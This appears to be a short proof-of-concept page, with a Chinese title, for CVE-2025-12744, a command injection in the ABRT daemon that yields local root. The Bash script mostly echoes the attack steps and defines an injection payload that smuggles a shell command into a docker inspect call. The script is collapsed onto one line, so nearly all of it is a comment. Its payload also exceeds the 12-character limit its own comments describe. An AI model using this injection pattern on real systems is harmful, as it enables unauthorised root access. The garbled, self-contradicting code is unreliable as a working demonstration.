CVE-2025-12744: ABRT daemon命令注入导致本地权限提升

#!/bin/bash # CVE-2025-12744 PoC - ABRT daemon command injection # This PoC demonstrates the command injection vulnerability in ABRT # The vulnerability exists in ABRT's handling of user-supplied mount information # ABRT copies up to 12 characters from untrusted input and places them into # docker inspect %s command without proper validation # Attack payload: inject shell metacharacters to execute arbitrary commands # Since ABRT runs as root, this leads to privilege escalation # Example malicious input that could be used: MALICIOUS_INPUT="'; id > /tmp/pwned #" # When ABRT processes this, the resulting command would be: # docker inspect '; id > /tmp/pwned # # Which executes: id > /tmp/pwned as root echo "CVE-2025-12744 PoC" echo "Target: ABRT daemon command injection" echo "Impact: Local privilege escalation to root" echo "" echo "Attack vector:" echo "1. Attacker provides malicious input to ABRT" echo "2. Input contains shell metacharacters (e.g., '; command #')" echo "3. ABRT copies up to 12 chars and inserts into shell command" echo "4. Commands executed with root privileges" echo "" echo "Proof of concept payload: ${MALICIOUS_INPUT}" echo "" echo "Note: This vulnerability allows unprivileged local users to gain root access"
